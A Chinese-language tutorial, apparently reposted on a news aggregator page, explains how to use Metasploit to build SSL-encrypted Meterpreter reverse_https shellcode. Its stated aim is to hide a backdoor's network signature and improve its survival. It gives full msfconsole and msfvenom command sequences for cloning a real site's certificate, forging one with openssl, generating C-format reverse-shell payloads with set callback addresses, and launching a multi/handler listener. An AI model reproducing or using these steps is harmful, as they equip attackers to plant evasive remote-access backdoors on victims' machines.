在本节中,我们将介绍如何通过使用`Metasploit`生成加密载荷,以隐藏网
07月02日 19:54
在本节中,我们将介绍如何通过使用Metasploit
生成加密载荷,以隐藏网络特征。前一章节我们已经通过Metasploit
生成了一段明文的ShellCode,但明文的网络传输存在安全隐患,因此本节将介绍如何通过生成SSL证书来加密ShellCode,使得网络特征得到隐藏,从而提高后门的生存能力和抵抗网络特征分析的能力。
ShellCode 网络特征加密我们采用的是SSL(Secure Sockets Layer),现已被替换为TLS(Transport Layer Security),SSL是一种用于在Web上传输数据的安全协议。它的主要目的是确保在互联网上传输的数据在传递过程中不会被第三方窃取或篡改。SSL加密的原理是通过两个公钥和一个私钥来加密数据。公钥用于加密数据,私钥用于解密数据。在传输过程中,发送者使用接收者的公钥对数据进行加密,接收者使用自己的私钥对数据进行解密。这样,即使在网络上被窃取,数据也无法被第三方解密,从而保证了数据的安全性。
通常,SSL证书由以下几部分组成:
(资料图片)
证书主体:证明证书拥有者的信息,如域名、组织名称等。公钥:用于加密数据的公钥。私钥:用于解密数据的私钥,需要在安全的环境中保存。签名:证明证书内容是由可信任的证书颁发机构签发的。有效期:证明证书的有效期,在该期限内有效。颁发者:证明证书的颁发者,如VeriSign、GoDaddy等。1.3.1 通过MSF模块克隆证书要想实现加密通常我们需要获取一个专属的证书文件,获取证书的方式有两种,第一种方式是通过Impersonate_SSL
模块,对已有证书进行下载操作,如下命令实现了将www.lyshark.com
网站中的证书下载到本地的功能,
msf6 > use auxiliary/gather/impersonate_sslmsf6 > set rhost www.lyshark.commsf6 > run
当读者执行命令后,则该证书将被下载到home/lyshark/.msf4/loot/
目录下,其中包含了证书的key,crt,pem
等文件,输出如下图所示;
当具备了克隆证书后,读者可在Metasploit
中交互式执行如下命令实现生成带有加密功能的ShellCode
代码,如下代码中通过HANDLERSSLCERT
指定证书位置,并通过generate
生成C语言版ShellCode代码。
msf6 > use payload/windows/meterpreter/reverse_httpsmsf6 > set STAGERVERIFYSSLCERT truemsf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pemmsf6 > set LHOST 192.168.9.135msf6 > set lport 8443msf6 > generate -f c
而对于服务端来说,在传递参数时,读者同样需要在HANDLERSSLCERT
中传递私有证书,
msf6 > use exploit/multi/handlermsf6 > set payload windows/meterpreter/reverse_httpsmsf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pemmsf6 > set STAGERVERIFYSSLCERT truemsf6 > set LPORT 8443msf6 > set LHOST 192.168.140.128msf6 > run -j
1.3.2 通过OpenSSL制作证书当然读者也可用通过kali
系统内自带的openssl
命令生成一个新的伪造证书,OpenSSL是一个开源的安全工具,用于实现SSL/TLS
协议。它提供了一系列命令行工具,可以用于生成证书、加密数据、解密数据等操作。
首先使用第一种方式生成,下面是各个参数的详细解释:
req:指定生成证书请求。new:指定生成一个新的证书请求。newkey rsa:4096:指定生成的证书的密钥长度为4096位。days 365:指定证书的有效期为365天。nodes:指定不加密私钥。x509:指定生成的证书类型为X.509证书。subj “/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com”:指定证书主题信息,其中C=UK代表国家,ST=London代表省份,L=London代表城市,O=Development代表组织,CN=www.lyshark.com代表通用名称。keyout www.lyshark.com.key:指定输出的私钥文件名。out www.lyshark.com.crt:指定输出的证书文件名。通过这条命令,可以生成一个有效期为365天,密钥长度为4096位的X.509证书,证书主题信息为"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私钥文件名为www.lyshark.com.key,证书文件名为www.lyshark.com.crt。
┌──(lyshark㉿kali)-[~/lyshark]└─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \-keyout www.lyshark.com.key -out www.lyshark.com.crt┌──(lyshark㉿kali)-[~/lyshark]└─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem
接着读者可执行msfvenom
命令通过非交互方式生成一段加密版的ShellCode代码片段。
┌──(lyshark㉿kali)-[~/lyshark]└─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \HandlerSSLCert=/root/test/www.lyshark.com.pem \StagerVerifySSLCert=true -f c -o /root/test.c
服务端启用侦听模式,并通过HandlerSSLCert
传入同样的证书私钥即可。
msf6 > use exploit/multi/handlermsf6 > set payload windows/meterpreter/reverse_httpsmsf6 > set LHOST 192.168.9.135msf6 > set LPORT 8443msf6 > set HandlerSSLCert /root/test/www.baidu.com.pemmsf6 > set StagerVerifySSLCert truemsf6 > exploit -j -z
关键词:
在本节中,我们将介绍如何通过使用`Metasploit`生成加密载荷,以隐藏网
07月02日 19:54
大河网讯6月28日上午,漯河市召开基层市场监管所标准化规范化建设现场
07月02日 20:00
大河网讯“谢谢组织对我的关爱,每年都惦记着我,我感到非常温暖。”6
07月02日 20:04
《导演请指教》不出所料应该又是一大热综艺。不论怎么改变规则,观
07月02日 20:02
央视新闻消息,今天中午,位于江西省贵溪市的江西乾泰新材料有限公司
07月02日 19:51
一、全国价格分析宇博智业监测数据显示,2023年06月30日,全国16类女贞
07月02日 19:47
油管对比社ElAnalistaDeBits对《塞尔达传说:王国之泪》游戏时使用mCla
07月02日 19:51
推进科技自立自强!EDA国创中心在南京揭牌!
07月02日 19:59
汉字找茬王是一款益智游戏。压这个字大家都很熟悉,压力、压迫等等,使
07月02日 19:59
整理时间:6月29日下午16点整理范围:美国区、德国区AppStore畅销榜前5
07月02日 19:48
纳西妲是原神游戏中须弥角色,是一名远程法师,深居净善宫的笼中之鸟,
07月02日 19:59
1、解印带上出现听力保护buff就是有我五段我有不知道楼上的为什么六才
07月02日 19:53
你们好,最近小品发现有诸多的小伙伴们对于微信跳一跳教程,微信跳一跳
07月02日 19:55
1、大家都叫他“哥哥”。2、1987年,张国荣与王祖贤合演徐克经典影片《
07月02日 19:55
1、(2k+1)²-4(k²+2k)≥01-4k≥0k≤1 4。本文到此分享完毕,希望对
07月02日 19:41
鼓励自己心情好的句子1、步伐多慢无关紧要,只要你坚持不懈。2、任何的
07月02日 19:51
华创证券农业分析师指出,今年猪肉供应比较充足,猪价还会在底部一段时
07月02日 19:52
NovaLands游戏里内容非常丰富,所以初次接触游戏的萌新对NovaLands神秘
07月02日 19:48
你们好,最近小未来发现有诸多的小伙伴们对于人力资源六大模块内容是什
07月02日 19:49
如果是持卡为浦发银行的卡,想要查询开户行,一般有以下3种办法:1、使
07月02日 19:37
导读1、已经改名叫做幻想天空了。2、现在网站正在改动,十一之后就会以
07月02日 19:36
打开音乐播放器。搜索要下载的歌曲,点击“下载”。选择下载路径为“u
07月02日 19:38
1、赌城是以赌博业而著称的城市。2、世界有四大赌城:澳门、摩纳哥城、
07月02日 19:42
对于要从事秘书职业,首先要取得中级秘书资格证(秘书四级),之后可选
07月02日 19:33
1、范玮琪是三月十九号出生的星座是双鱼座,三月十九号出生的双鱼座虽
07月02日 19:33
来为大家解答以上问题,魅族m8手机广告,魅族m8手机报价很多人还不知道
07月02日 19:44
从7月1日开始,2023年医保药品目录调整正式开启申报工作,这是从2018年
07月02日 19:35
当前大家对于加拉巴戈海鬣蜥都是颇为感兴趣的,大家都想要了解一下加拉
07月02日 19:36
可以。正常情况下,花呗还款后,都是实时恢复额度。如果用户发现额度没
07月02日 19:29
@遂宁人到账了!快看看你收到多少钱,存款,结息,缴存人,遂宁市,住房公积金
07月02日 19:29